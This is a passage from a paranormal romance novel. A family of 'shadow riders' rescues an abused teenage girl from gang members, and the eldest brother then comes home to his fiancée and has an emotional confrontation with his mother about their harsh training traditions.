She was a rider, a woman capable of riding shadows, of bearing children who could ride shadows.
"It changes everything," Stefano said. The plan had been to leave without her ever seeing him. She would call the social worker and the family's responsibility in the matter would be over.
"We can't leave her behind." Taviano's voice was firm. Absolute.
Stefano frowned at him. "Damn it, what the hell are we going to do with her?"
"She has to come with us. We have to make certain they can never find her."
Nicoletta began to inch toward the door, back flat against the wall. She made herself as small as possible, as if by pressing against the wall they wouldn't be able to see her. Had they not been riders, they might not have. The move on her part was instinctive. She'd become part of the shadows.
Taviano stepped in front of her, blocking her path. "We'll get you out of here, _angioletto_ ," he said softly. Talking as if she was a wild animal, trapped in a corner and about to bolt—and maybe she was. "Benito and his crew are close by. Just give us a minute and we'll have you safe."
She shook her head but she halted, clearly terrified.
There was no leaving her. Staring at her, Stefano pulled out the burner phone and punched a number. "She's one of us. Hurt. We're bringing her home. L and A will take her in. Make the arrangements tonight." He made it an order, no room for arguments. "Doc. Counselor. They'll need money for her needs. Arrange that as well. I'll take responsibility for her."
Nicoletta shook her head, her tongue touching her swollen lip to ease the ache. "Not for me. I've got to go before the others come." She took a step back, away from Taviano as Stefano put his phone away.
"We're not going to hurt you," Taviano said softly. "We were sent to get you away from them." He indicated the bodies.
She drew in air and shook her head. "They belong to a gang. They'll never stop looking for either of you . . . or me."
"They won't find any of us," Stefano assured her.
No one could be brought into the tube unless they were a rider. Nicoletta didn't need to know how to ride, not if one of them was carrying her, but she couldn't be aware. She wasn't a Ferraro. No one had claimed her. He was doing something completely unprecedented, but it didn't matter. She had to be saved. Somewhere in the back of his head, he had known, unless they got her all the way out, her uncles' gang members would track her down and kill her. To save her life, this was the only way.
He signaled to Taviano and moved to check the window. He'd known they were in trouble all along. Benito was making his move. He flung the whiskey bottle against the side of the house and stood up, staring at the Gomez house, the others standing immediately to join him.
"They're coming, Tav," he announced.
"I know you don't know me," Taviano said softly, stepping close to Nicoletta. "But I also know you're capable of feeling the truth when you hear it. If you stay here, even contacting your social worker to relocate you, you're going to die. If she helps you to try to disappear, she and her family are going to die. That's a fact. You know it and I know it. You have one chance and in taking that chance, you'll be giving your social worker a chance at life as well. She contacted us to help you. This is me helping you."
Tears ran down Nicoletta's face, but Stefano was fairly certain she wasn't aware of the fact that she was weeping. She just kept shaking her head. Still, she didn't take her eyes off of Taviano.
"We can't take you with us without your consent, but if you want to live, say the word and we'll get you out of here. They'll never find you—or us. You'll have a new life with a wonderful couple who will treat you like a princess. My family will watch over you and protect you for the rest of your life. But you have to choose now. Right this minute. I can hear your uncles' friends coming up the front steps to the porch."
Her face visibly paled. She jammed her fist into her mouth, her gaze darting from the bodies to his face and then to Stefano's. She nodded. Barely. The movement almost imperceptible. Taviano moved fast, not waiting for her to have second thoughts. She had to be terrified. Stefano had just killed three people in front of her. They were total strangers. Still, they had to look like a better bet than her uncles' friends. He had the syringe all of the riders carried in the event they had to cope with an innocent civilian to get them out of their way. He had the needle in her neck in seconds, his arm around her waist to keep her from falling as the drug hit her system.
Her fingers clutched at his suit jacket, terror on her face, but the drug was fast acting, a good thing, as loud voices and pounding on the front door announced they'd run out of time. "Okay, _angioletto_ , let's get you the hell out of here."
Stefano took her from his younger brother, lifting her slight body, cradling her tightly against his chest, wincing a little as he looked into her bruised, swollen face.
"I'll take her, Stefano."
Stefano shook his head. It wasn't that easy riding with another person, one unknowing. He wasn't taking a chance with Taviano or the girl. The one and only other time he'd ridden a shadow with another rider in his arms, it had been his brother Ettore, already lost to them, so far gone there was no bringing him back. His chest tightened. He couldn't go there.
He held a young girl. A child really. She was important to all Ferraros and she'd been hideously violated. That alone went against everything he believed in. He was taking her home to the best parents he knew. The most loving. The ones that needed a daughter when they'd lost so much. They would give her the understanding and compassion she needed to overcome what monsters had done to her.
"Let's get the fuck out of here, Tav," he snapped.
Stefano held Nicoletta tighter. He wasn't losing her. Not to the shadows, not to the gang members breaking through the front door and not to the shame and despair she felt. He stepped into the portal and let it take them both. He flew past the men rushing through the house toward the bedroom, and out the open front door. He'd chosen a larger tube, one that connected with the shadows in the streets and he rode it as far as it would take him, blocks away from the Gomez house and the angry mob gathering there. He felt Taviano moving in the shadowy tubes parallel to him.
They jumped easily from one portal to the next, heading back toward the airport and the safety of the private jet waiting. Franco had the door open, lights spilling on the stairs so that they had shadows to ride all the way to the interior of the plane. The moment they emerged from the shadows, Franco closed the door and turned toward them.
"Emmanuelle called and told me to be prepared. She's alerted Giovanni. He'll return as soon as possible. He has to play his role out, though, just to be safe." Franco pulled the medical kit out and handed it to Taviano. "I have the bedroom ready."
On the private jet, there was a small room they kept for the family members who needed to sleep. The seats were comfortable and laid all the way back to provide more space if necessary, but the room had a double bed inside of it. It was kept made and ready for their late-night escapades.
Stefano carried Nicoletta into the room and laid her on the bed. "She'll wake soon. We have to clean her up before that happens. She's not going to want a bunch of strange men touching her after her ordeal."
"I'll do it." Taviano made it a statement. "Franco, I'll need warm water. Washcloths and towels. Did Emme leave any clothes on the plane? If not, I have a couple of flannels in my go bag. Bring me one of them."
"Tav," Stefano said. "You don't want to invest too much in her. We're turning her over to Lucia and Amo. Our family will watch over her, and we'll provide for her, but we can't stay involved with her. You know that. It's too dangerous. Especially you. She knows our faces. She saw me come out of the shadow and kill her uncles. She could burn us. Bury us. If she goes to the cops . . ."
"She won't," Taviano said. "You're afraid for me, not you." He took the bowl of water Franco handed him, dipped a cloth in it and sank down on the bed beside Nicoletta. "You connected with her. She's too afraid of Benito Valdez to ever do something as foolish as going to the police. She can take the name Fausti and be Amo's niece come to live with them. We can give her a new identity. She's not going to turn on us."
Stefano watched Taviano dip the cloth into the water and gently dab at the blood on Nicoletta's face. His youngest brother wasn't nearly as easygoing as he liked to appear to the world. In spite of trying to bring his brothers and sister a little joy in their childhood, all of them bore the scars of absentee parents as well as whatever vicious handling had taken place during training overseas. Their father was gone most of their lives, doing whatever he chose to do, while their mother became a brutal trainer, snapping orders, demanding perfection and snarling coldly at them when they weren't perfect.
Each of them had been sent away for a year at a time to train elsewhere in the world. Ricco had come back scarred, tough and cold as ice. He lived on the edge all the time and Stefano regarded him as a ticking time bomb. Vittorio was a peacemaker, but something burned bright and savage under all that cool. Giovanni was the most volatile. One moment he was rational and the next his temper burned out of control. Taviano appeared to be gentle. Kind. He had a sense of humor. But he wasn't any of those things as a rule. Stefano had tried to find out what had happened to each of them in those years they'd spent with other trainers, but none of his siblings would answer him.
He'd managed to keep Emmanuelle home by insisting on training her himself. When his mother insisted she go abroad, he went with her. He stayed glued to her. It was too late to stop whatever was happening to his brothers in their training, but not what might happen to her.
Stefano had been too strong, too ruthless even as a teenager, to put up with any of the trainers putting their hands on him. He'd earned the reputation of being dangerous before he was fifteen. His brothers were every bit as dangerous as he was now, but it had taken those years away to shape them into the killers hiding behind their handsome faces.
"She belongs to us," Stefano said. "We'll look after her, Tav." It was a concession to his brother, and they both knew Taviano would have defied Stefano's authority and just done what he thought was right. "I wouldn't have put her with Lucia and Amo if I hadn't meant to put her under our direct protection."
"I know that," Taviano said. "I'm going to get rid of her clothes and I would appreciate both of you leaving the room."
"You want me to do that? I have Francesca and I'm not in the least bit looking at her like a woman," Stefano said. "She's a child that needs help."
"I know what she is. Just go."
Stefano shook his head but didn't protest. He needed to hear Francesca's voice, but he couldn't call her. He'd gotten rid of the burner phone. They never kept them once they reached the airport. There was no talking to her, not even from Franco's phone. He needed her tonight. The things done to that child. She was a beautiful girl who would forever bear the scars of three sick, very brutal men. Had they not gotten there in time, she would be in the hands of Benito Valdez. The social worker who had contacted them thought she owed them, but in fact, Stefano knew it was the other way around. They would be forever in her debt. Nicoletta was a shadow rider just as Francesca was. She was invaluable to his family. That included the various extended family they had.
It seemed to take forever for Giovanni to get back to their private jet. By that time the girl had awakened and she was very scared. He'd tried to go into the cabin to help Taviano with her, but that only agitated her more. He couldn't blame her. The gang her uncles had run with had prostitution rings, and it was rumored they were involved in human trafficking. She clearly thought she was being transported to some foreign country where she'd never be heard from again.
Taviano was patient with her, his voice low and gentle as he continually reassured her. He clearly was afraid to leave her alone, afraid of what she might do to herself.
"We'll need a doctor waiting," he told Stefano.
"Already done. Emme has already talked to Lucia and Amo and explained things. They're willing for her to live with them and they'll share their last name. Emme said Vittorio is working on the papers tonight. We'll have a new identity for her and a background no one will be able to shake within a few days. Benito Valdez will never find her."
"He'll keep looking," Taviano said, looking down at Nicoletta. She was exotic looking, with thick, luxurious hair and very large, heavily lashed eyes and a generous mouth. She would haunt Valdez. He'd seen her, watched her blossom into a woman. He'd acquired a taste for her, and he would keep looking.
"Let him look. She'll be safe, Tav. No one will find her in our neighborhood, especially not Benito Valdez."
That small exchange seemed to comfort Nicoletta. Stefano couldn't imagine what she was going through. They were perfect strangers to her. She'd seen them emerge from the shadows and kill her uncles. They'd been fast and just as brutal as the gang they'd taken her from, no matter how elegantly they were dressed. She had no idea what they were going to do with her.
"You'll be all right," Stefano assured her from the doorway when her gaze jumped to his face. She looked pale and defeated, so bruised it hurt to look at her. "You're never going to have a normal life, not with what you've gone through, but you'll know love. Lucia and Amo are two of the best people we know. I know you're afraid, but we'll see you through this. And we'll watch over you. That I can promise you."
# CHAPTER TWENTY-TWO
Stefano stepped off the elevator into his apartment, exhausted, nearly forty-eight hours without sleep. It had taken time to get Nicoletta settled. The doctor had examined her thoroughly and then sedated her. She would be all right physically given a month or so of resting and healing, but he admitted the emotional scars weren't going to be so easy to rectify.
He'd done the best he could for the young teen. She was safe in Lucia and Amo's home, not quite as scared, but definitely apprehensive. He was certain she'd give them a chance rather than try to run. Vittorio was keeping an eye on her while Taviano and Giovanni slept.
Stefano wished he'd called Francesca to make certain she would be home. He needed her. Really needed her when he'd never needed anyone. There was something incredibly soothing about her. She felt like . . . home.
He inhaled her scent and everything in him settled. He hadn't known his belly was in knots or that the relief could make him weak. He hadn't consciously worried that she might have left him, but he was asking a lot of her. She had learned things about his life—their life. She'd overheard his mother say ugly things, and Barry Anthon was in town. She'd seen him become violent and then he'd left her to go out of town.
She came out of the kitchen, her gaze moving over his face in a slow, careful perusal. Then it drifted lower, taking him in, looking for injuries. She stepped close. "Honey." Just that. One word. Her hands slid up his chest and around his neck so that she linked her fingers together at his nape. "Thank you. She's safe. Nicoletta. Emme said you got her out."
She _thanked_ him. For doing his job. She looked at him with stars in her eyes and a soft, killer smile that was going to be the fucking end of him. She looked at him as if he could solve the world's problems in a few hours, fight the bad guys and still be home in time for dinner. He liked that look a lot.
He framed her face with both hands and brought his mouth down on hers. She tasted like love. Like sex. Like perfection. Once he started kissing her, he couldn't stop. He found himself devouring her. Exchanging breath. Telling her without words that forty-eight hours without her was too damned long.
For the first time in his life that he could remember, he allowed himself to sink into someone else's strength. Seeing a seventeen-year-old girl beaten and abused physically, sexually and emotionally had torn him up far more than he wanted to admit to himself. He'd held himself aloof, keeping under control, using his rigid discipline to keep from seeing the look in her eyes when she'd turned the knife on herself. Had Taviano not been there, she would be dead.
His eyes burned and he couldn't breathe because of the raw lump blocking his throat. He lifted his head, looking down at her, into her eyes. He saw only love there.
"It was bad?" she whispered, pressing closer.
"It was bad," he agreed. "I don't fucking understand. I'll never understand how anyone could do that to a child. Any child. Any woman." He touched his forehead to hers. "I'm wiped, _dolce cuore_ , absolutely wiped."
"Go take a shower," she whispered. "I'll fix something light and then you can go to bed. You need to sleep."
Fussing over him. Taking care of him. Stefano enfolded her in his arms, keeping her close to his heart. Burying his face in the luxury of her thick, silky hair, he just held her, needing to feel her soft body imprinted on his.
Francesca didn't pull away or try to hurry him. She held him. Tight. Breathing him in the way he was breathing her in.
"I missed you, Stefano," she said softly, the murmur nearly lost against his suit jacket. "I couldn't sleep at night without you."
"I worried about you," he admitted, one hand sliding up the curve of her spine to bury his fingers in her wealth of hair. "I knew you wouldn't be able to sleep, or if you did manage to sleep, you'd have nightmares. I'm sorry I couldn't call you." He'd never thought much about that mandate until he'd wanted to reach out to his woman.
"No." She tipped her head back to look up at him. "Emme explained how important it was that everyone think you were here, with me." She went up on her toes and pressed kisses along the line of his jaw. "Your safety is the most important thing. I'm just so grateful that you do what you do so that girl is safe."
His heart clenched hard in his chest. " _Amore mio_ , this is the first time in my entire career I've done something like this. Mostly, what I do is eliminate someone like Barry Anthon. Someone untouchable by the law. Or I recover an elderly woman's purse with her last few dollars in it. I'm not a hero. Don't think I am," he warned.
She laughed softly and pulled out of his arms. "You're _my_ hero, Stefano, and you always will be. Go shower. We can talk when you're lying in bed and drifting off."
"When did you get so bossy?" He wanted to hold her forever. Take her into the shower with him, which would lead to interesting things. His cock jerked at the thought.
She dodged his outstretched hand. "Someone has to take care of you." She reached out and trailed her fingertips over the growing bulge in his trousers. "I'm a full-service kind of woman. Go shower, honey, and let me take care of you." Her eyes met his. "I _need_ to. You always take care of me. It's my turn."
He fucking _loved_ that. He watched her go into the kitchen before turning to the master bedroom. He'd wanted a home his entire life. He hadn't known love or laughter until he'd visited his aunts and uncles and realized his cousins had something important and valuable in their lives that his siblings and he didn't. Until he'd gone home with Cencio and been introduced to his mother and father. Lucia and Amo were loving and warm all the time. Stefano wanted that for his brothers and sister. He wanted that for himself.
"Francesca." He murmured her name aloud as he stepped under the soothing hot water. It poured over him and pounded into his aching muscles. He didn't know what he'd ever done to deserve her, but he had her and that was all that mattered to him.
He took his time because the water felt good, washing his sins away along with his exhaustion. He dressed in loose-fitting drawstring silk pants and a tight, ribbed wifebeater before padding barefoot into the kitchen.
Francesca was humming softly to herself, her back to him, long hair flowing almost to her waist, as she mixed the pasta. His shadow connected with hers and she looked up instantly with a smile. "Hey, honey. Feel better?"
He nodded and kept going straight to her. "You brought in groceries." She had made pasta with grilled tiger shrimp and fresh parmesan cheese. A salad sat on the smaller dining table in between the dishes already set out. There was an open bottle of red wine on the table along with two wineglasses.
"I had to get groceries if I was going to be cooking for us. I really enjoy cooking, Stefano." She flashed a smile. "It gives me a chance to show off."
He swept her hair off her neck and over one shoulder so he could bend down and kiss her neck, sending a little shiver down her spine. "I like the idea of you cooking for us. Feels like home." He took the bowl of pasta from her and carried it over to the table. "What have you been up to while I've been gone, other than grocery shopping?" He narrowed his eyes. "And you took Emilio and Enzo of course."
"Actually, Emmanuelle and Enrica went with me," she corrected, sliding into the chair across from his. "Enrica is all business when we're out somewhere, but so funny when we're alone. I really like her."
He nodded as he served both of them pasta. "Emilio, Enzo and Enrica were always getting into trouble when they were teenagers. Enrica used to sneak out her window to go on a date, because if her brothers or cousins knew, she always had a noisy escort with her."
Francesca laughed. "I can't imagine how awful you all were. You boys seem to have the girls outnumbered."
"Thankfully. We like to keep an eye on our women and we can't do that if there's too many of them."
"Such a chauvinist. Emmanuelle was helping me learn what you all do for those in the neighborhood."
His head jerked up, the smile fading. He was going to strangle his sister with his bare hands. "What the fuck does that mean?"
She winced. "Seriously, Stefano, you're going to have to clean up your language before we have children. We just answered some of the calls and checked on people. There's a flu going around and it hit some of the elderly hard. We went to their homes and brought them medicine, or whatever else they needed. Don't tell me you don't do that, because Emme gave you away. My big macho badass takes soup to Agnese Moretti, the schoolteacher, and the homeless woman, Dina, as well as Mr. Lozzi and Theresa Vitale. I sat with each of them and heard all about my man and what a saint he is." She grinned at him. "Actually, Agnese didn't mention the word _saint_ —that was Signora Vitale. I believe Agnese said there was hope for you yet."
He couldn't help himself; he leaned back in his chair and laughed. That was exactly what his old schoolteacher would say about him. And she'd say it in her prissy schoolmarm voice that told everyone they'd better not contradict her because she was always right. _Dio_ , but he was happy to be home.
"That woman. Is she very ill?" He couldn't help the concern. He had a special place in his heart for Agnese. Most of the neighborhood did. Especially those she'd taught with such gruff compassion.
"Not as sick as Signora Vitale. I had Enrica call a doctor just to be safe. She's in her eighties and the flu can be difficult on the elderly. The doc said with a little care she should be fine. Her grandson is staying with her. He promised to heat up the soup and feed her every two hours, even if she takes just a couple of bites."
Stefano shook his head. "So you met Bruno. Was he disrespectful? Did you get the impression he'd actually take care of his grandmother?"
Francesca nodded. "Absolutely. Your 'talk' with him must have helped, because he really listened to the doctor and seemed genuinely concerned. I have no doubt that he loves her."
"There was never a doubt about that, only that he was a selfish brat. She gave him every damn thing he ever wanted, even when she couldn't afford it and had to sacrifice. He never seemed to notice. I just pointed that out to him—that and explained the consequences of dealing drugs in our neighborhood or anywhere else for that matter. I also promised him that if he went to prison on a drug sale charge, I could still reach him there."
"Could you do that?"
"I'm a shadow rider, _bambina_ —of course I could get to him in prison." He took a second helping of pasta. "This is good, Francesca, really good."
"So explain to me all about riding shadows. What that means. Why you can't say anything until we're married. Clearly we're going to be married."
He put down his fork and studied her face. She wasn't looking to bolt. She was unafraid and very accepting. She already had an idea of what he did and she not only accepted it; she made it clear she stood behind him all the way. He either trusted her or he didn't. He had asked her to trust him blindly and she'd done so.
"You have to be certain, _bella_. There's no going back from this. There would be . . . consequences."
"I think I got that, Stefano." She put her fork down as well. "Are you finished? If you want, we can lie down and you can tell me."
He had the beginnings of a headache, mostly from being tired. He was usually good at forty-eight hours without sleep but anything beyond that could start taking its toll on his body, especially if he'd been shadow riding. "Thanks, _dolce cuore_ , the bed sounds great."
"I'll just get these dishes done. It won't take me long."
"Leave them. The service will do them."
She smiled and shook her head. Stefano knew she wasn't comfortable with his money or anyone waiting on her. The elevator _pinged_ , his only warning. He snagged the gun taped beneath the table and was on his feet. "Were you expecting anyone?"
She shook her head, fear creeping into her eyes. He hated that. Hated that she would ever need to feel afraid of anything. She was his. His woman had a lot to contend with, but fear shouldn't be one of them. "Get behind the counter and stay there until I tell you it's safe."
Francesca didn't argue with him. She nodded, her face pale, her eyes haunted. Anger churned in his gut as he stepped out from behind the table and moved with the shadows through the dining room toward the entrance. If Barry Anthon or any of his men had managed to penetrate his security, he'd be shocked. The hotel was a fortress. Getting up to his penthouse without detection was nearly impossible unless you were family and had the codes to the elevators.
His breath hissed out of his lungs, and his anger boiled to the surface. He stepped into the great room, locking his gun on his target, uncaring that his mother gasped and took a step back.
"What the fuck?" he demanded. "You don't even have the common courtesy to call first?" He raised his voice. "It's Eloisa, Francesca." He didn't tell her to join him because he could see his mother's agitation. She'd worked herself up to one of her self-righteous lectures and was fully prepared to be cutting, rude and ugly, just as she'd been about his future wife. Francesca didn't need to hear any more.
"How dare you, Stefano?" Eloisa snapped. "I understand now why you and Taviano skipped the briefing altogether. You endangered _all_ of us, the entire family, with your recklessness, and now you're hiding up here in your little love nest, afraid to face me because you know what you did was careless and stupid."
"How dare _you_?" Francesca's voice came from behind them. She walked right up behind Stefano and slipped her arm around his waist. "Stefano is not reckless and you know it. He isn't hiding up here afraid to face you and I think you know that, too."
"Stay out of this," Eloisa snapped. "You have no right to interfere in family matters. You don't have a clue what we're talking about."
"Be very careful how you speak to my woman, Eloisa," Stefano warned, his voice dripping ice, but his heart had turned over at the show of absolute support from Francesca. Even his siblings didn't interfere when Eloisa was raging at him for some infraction. He'd always been the head of the family for his brothers and sister. He fought their battles with Eloisa, not the other way around. It felt good to have someone stand with him, even though he didn't need it. He had been arguing with his volatile mother from the time he could talk. "We're to be married, in spite of your objections, in a couple of weeks. She'll be my wife and with me, the head of the _famiglia_."
"Perhaps it would be best to start again," Francesca suggested. "Would you care to sit down, Eloisa? I'm Francesca Capello. We haven't been formally introduced."
Eloisa stood for a moment, obviously struggling with her temper, but to Stefano's surprise she nodded her head. "It's nice to meet you, Francesca. Please excuse my rudeness the other day. I had no idea you were in the house and would overhear the things I said to my son, things I believed at the time. Since then, I have read the numerous reports gathered on Barry Anthon and I know I was mistaken. I should have done what we always do and gathered the facts first."
Stefano opened his mouth to agree with her, but Francesca dug her fingers into his side hard and he refrained from blasting his mother in the way he normally would have. He glanced down at his woman. He fucking loved thinking of her that way. She was . . . magnificent. Her head up. Her arm around his waist. Her eyes clear. There was no fear now, only a confident woman standing beside her man. Yeah. He loved that.
Francesca gestured toward the armchair across from the couch. "Thank you for that, Eloisa. I appreciate it. Emmanuelle tells me you've been helping with some of the wedding details. It's all happening so fast I'm a little overwhelmed, so I'm thankful for any help at all."
Eloisa took the chair across from them. Stefano tucked Francesca close to him, his thigh pressed against hers. He'd missed her. Really missed her. It was strange to think of a woman night and day, to worry about her and look forward to being with her. To inhale the scent of her and know you were home. To crave her body like an addiction and need the sound of her laughter and the sight of her smile. He'd never had that before and now it seemed as natural to him as breathing.
"We really do have to discuss this mess, Francesca," Eloisa said. "I don't want to distress you, but Stefano did something that wasn't protocol in our business and it could have gotten someone killed. I can't let it go by without saying something."
"If you're talking about Nicoletta, I'm fully aware of the situation," Francesca said. "By all means talk to Stefano about it, but get all the facts before you get upset. He had a good reason for doing what he did."
Eloisa's face flushed with anger. Her eyes went hard. Stefano had seen that look a million times. He could have told Francesca that Eloisa wasn't reasonable when she was emotional. Her temper was legendary in the family. Even her siblings trod lightly when she was upset.
"First of all, Stefano, Francesca shouldn't be burdened with the knowledge of our work until _after_ the wedding." She bit out each word, her teeth snapping together, as if she might take a bite out of him if she wasn't so controlled.
"Eloisa, you don't get to tell me how to handle my personal business, not when it comes to my woman." Stefano kept his voice as mild as possible. His family could get loud in their disagreements, but with his mother, it went from bad to worse very quickly.
Eloisa's breath hissed out in a long stream of disapproval. "When it comes to you being careless about family business, Stefano, someone has to, and there's no one but me. Everyone else is afraid of you." She leaned toward him, narrowing her eyes, her finger stabbing toward him. "I'm not. You had no right to bring that girl to our neighborhood. She should have been left there. And Taviano had no business being there. His job was to be seen. To be photographed. Both of you left the _famiglia_ vulnerable."
Stefano shrugged. "Fortunately, Eloisa, I'm the head of the _famiglia_ , and I make the rules, not you. It was my call. Taviano was there when he was needed, thanks to him acting on his instincts, which is what we're trained to do. I don't know why you're upset when we all did our jobs."
Eloisa leaned even closer, her eyes alive with anger. "Because deviating from protocol, something that has been in existence for a hundred years for good reason, at the last minute will get you killed. It will get your brother killed. You're both more important than this girl, whether she's a confirmed rider or not."
There was a shocked silence. Stefano counted his heartbeats, trying to control his temper. "Why would that be, Eloisa? Why would you think Taviano and I are more important than a seventeen-year-old girl? One being brutalized, raped and beaten nearly every fucking day since she was fifteen? If that isn't reason enough for you, this girl can provide children—riders—for our family. She could be a much loved wife to one of your sons. How is she not just as important if not more so?"
Eloisa's face turned red. She blinked rapidly, repeatedly, as if she had something in her eyes. Her fists clenched. "Because," she hissed, both fists clenched tight. "She is not my son. She is not Taviano. She is not _you_. I don't care if you and your brothers and Emmanuelle hate me as long as you're alive. As long as I know I did everything I could to make you the best riders out there. I sacrificed my entire life, my happiness, _everythin_ g, in order for you and the others to live. To be prepared for a life you were born into. I wouldn't have chosen it for you, but I had no choice, just as you have no choice. I won't see you dead, Stefano. Not another one of my children before me. I won't."
Francesca's fingers bit into his thigh in warning. His gaze flicked to her face. He could see she was desperately trying to tell him to be cautious, to hear what his mother was saying, the underlying message. To hear the desperation and fury in her. He'd seen that a time or two in other mothers. Protective tigresses when it came to defending their children. He'd just never seen it in _his_ mother.
She'd always been as cold as ice. She'd overseen every aspect of their training in the United States, even when they went to other families to train. She'd made frequent surprise visits to ensure they were working as hard as she deemed necessary. She couldn't go abroad with them, but she kept in touch, was just as demanding. His father had never shown any interest in their training. He'd never really shown any interest in them at all.
"Why don't you divorce him, Eloisa? You're retired. It won't matter whether or not you can ride a shadow. It won't matter to him if he doesn't remember any of us." He spoke as gently as possible. "He's never been anything but hurtful to you."
Eloisa held up her hand. It was shaking, but she kept it there, a barrier between them. "If I can't ride a shadow, I can't get to one of you when you might need help. I don't care what Phillip does. It isn't like I'm going to find the love of my life at this late date, but I can continue to make certain my children are as safe as I can make them."
Stefano regarded his mother, wondering at her strange reaction. She sounded . . . caring. "Did you want to have children, Eloisa?"
There was silence. Francesca's fingers dug deeper into his muscle. He stroked the back of her hand with his thumb, needing to touch her. Grateful she was so close to him, leaning into him, staying by his side in spite of the way Eloisa had spoken of her earlier. She kept his temper under control and allowed him to listen to his mother's voice, judging it for honesty. He would never have asked his mother such a question, would never have gotten far enough in a conversation with her to even consider finding out more about her.
Eloisa was a very controlled, disciplined person, much like he was. She was also extremely private. She kept all emotions—other than anger—locked down. Now, she just looked vulnerable. He almost wished he hadn't asked. Eloisa never appeared vulnerable or fragile. She looked almost as if she might shatter.
Twice she licked her lips and her gaze shifted away from his, but not before he thought he caught the sheen of tears. She shook her head twice. "I wanted a husband and children just like most women, but that wasn't my reality. My reality was to give them a legacy they had no choice but to fulfill. I had gone through the training."
A bitter smile twisted her mouth, one difficult to witness. Francesca's palm stroked this thigh soothingly, as if she could feel his reaction and at the same time, keep him grounded and balanced.
"I know you think _tua nonna e il nonno_ were loving, wonderful people, but they adhered to the old ways. They were taskmasters, far worse than I could ever be. The masters we were sent to were brutal, and I know you think the training was too hard on your brothers and sister, but that was what was drilled into us, that training was everything." She shook her head, a little shudder going through her body. "Some of the trainers were cruel, but a necessary evil."
"Is that what you think?" Stefano snapped, visions of Ettore rising up, sharp and murderous in his mind. His gut knotted and it was only Francesca's restraining hand that prevented him from leaping up and pacing with restless energy to keep from shouting insults at his mother. "You knew the trainers were cruel and yet you sent my brothers to them anyway. You sent me but that didn't turn out so well for the family, did it?"
"Stefano, you can't ignore the fact that training is necessary. Without it, none of you could do what you do. It's difficult, yes, but all other riders have gone through it."
"It's necessary, Eloisa, but it doesn't have to be at the hands of brutal trainers. Cruelty has no place in what we do, so those of us who ride shouldn't be subjected to vicious trainers just for the sake of inflicting pain for their pleasure."
Eloisa gasped. Her hand crept defensively up her throat. "Is that what you think? That I sent all of you to them so they could be cruel to you?"
"You are our parent. It was your job to protect us." Stefano made it an accusation.
Francesca pressed closer to him, under his shoulder, her body warm and soft and giving. Comforting him when he hadn't known that was what he needed most. The memories of his childhood were close—too close. Of his sister screaming night after night with night terrors. Of his brothers returning from other countries cold and hardened, with hell in their eyes. Of carrying Ettore's body through the shadows. Rage moved in him and he tightened his arm around Francesca to help keep it at bay.
"I followed tradition, Stefano, just like every other parent of a rider. I sent all of you to the best trainers around the world. I went, and every other rider goes. When you were away from me here in the States, I went to ensure there was no cruelty, but I couldn't go to Europe with all of you." Eloisa's voice was low. Choked. Strangled.
"You _knew_ what would happen, Eloisa, or you wouldn't have gone to the trainers here in the States."
"It's _tradition_." Eloisa all but shouted it, but there were tears in her voice.
"Years ago, the women were nothing, Eloisa. They had no rights. They couldn't own property. They _were_ property. That changed because it wasn't right. Children were beaten regularly by parents. That changed because it wasn't right. Just because something is tradition, handed down from one generation to the next, doesn't make it right."
"Don't you think I know that? Don't you think I learned that when Ricco came back from Japan and he was so changed? There's death in his eyes. There's emptiness when before there was such life. All of them came back changed. Even you, and you're so strong, Stefano." Her voice broke.
"All of them are strong, Eloisa. Every single one of them. Dump Phillip. We can take care of one another in the shadows. Let yourself live. Let yourself enjoy your children instead of making yourself crazy, trying to protect us when we no longer need it."
Eloisa took a deep breath to steady herself. "I'll think about it. I can see you're tired, Stefano, so I'll go now and let you get some sleep." She shook her head and stood, raising a hand to keep either of them from giving her sympathy of any kind.
Stefano stood as well, taking Francesca with him, locking her tightly to his side. She immediately pressed her palm to his abdomen so that her warmth burned right through his thin shirt and into his skin. It went deeper still, so that her heat spread through his body, making him very aware of how lucky he was to have her. To have found her. His mother was a shell. She presented a cold, calculating woman with little emotion to the rest of the world and even he had believed it. Instead, she was a woman with dreams of being loved. She had been forced into a loveless marriage with a man who cared only for the power of shadow riding. Of the ability it gave him to carry on his affairs. She'd sacrificed the love of her children in order to carry on the traditions her parents had forced on her.
Stefano looked down at Francesca as the elevator doors slid closed. "Our children will know love, _dolce cuore_. If I become too harsh in their training, I need your word that you'll stop me."
She smiled up at him. "I would hit you over the head and knock sense into you if you dared to be too harsh with our children."
She was smiling at him, but there was truth in her eyes, honesty in her voice and steel in her spine. He had no doubts that she meant what she said.
"Let's go to bed," he said, turning her toward the bedroom. He wanted to lie down and just hold her. "That was a surprise. Eloisa has never talked about her feelings. Not once. She's never showed emotion, not even when Ettore died." His death was too close. Far too close. He felt as if the walls were pressing in on him.
"What she said about Ricco. The training. What was that?"
He stripped, tossing his clothes aside and then stretching out on top of the sheets, hands behind his head as he watched her take her clothes off. When she reached for one of the many sexy camisoles he'd bought her, he shook his head. "Not tonight, Francesca. I don't want anything between us. Not even something that gives me great pleasure in taking off. Just come to bed."
She was beautiful. More than beautiful. Her body was lush and inviting, just the way she was. "You give all of us hope. Did you know that? Do you have any idea how important you are to my brothers and sister? Not because you're going to give me babies, but because you represent something beautiful and amazing. None of us believed we'd ever have the chance to love someone. Or that we'd be loved."
Francesca stretched out beside him, her body turned toward his, one arm slung around his waist, her head on his shoulder, one leg thrown over his thighs. She did that a lot, he realized. Turned her body toward him. She never protested when he locked her to his side, or at night when he draped himself all over her. She just snuggled closer to him.
"You need to explain all this to me, Stefano," she urged. Her fingers moved over his chest, tracing his heavy muscles. "I need to know. I want to understand."
He shifted just enough that he could wrap an arm around her. The lights were off, but he could see her easily through the bank of uncovered windows that were one wall of his room. Up so many floors, there was no one to see in, yet he could look down on the city with all the lights. He loved his city. He loved his neighborhood. More than anything he loved his family.
"I've told you some of it. We go back hundreds of years. The Ferraro family always had riders born into it. Men and women capable of connecting with shadows and entering them, like a tube, an expressway. When we're inside the shadow, no one can see us. In the old days, our ancestors took on the task of protecting family and friends and then, eventually others in our neighborhood."
She nodded and turned her head just slightly to press a kiss into his chest. He'd told her this before, but he needed to start somewhere comfortable. She was patient with him, but then he knew she would be—just like she would be patient with their children.
"When the Ferraros refused to join the Saldi family or reveal to them just how they were able to protect so many, the head of the Saldi family issued orders to wipe them out. Every man, woman and child. Only the riders escaped. A few cousins off on a holiday. Those remaining alive went into hiding. Because the shadow riders were able to get away, the family began to rebuild in secret."
Her finger traced his ribs. "I know where you get your tenacity."
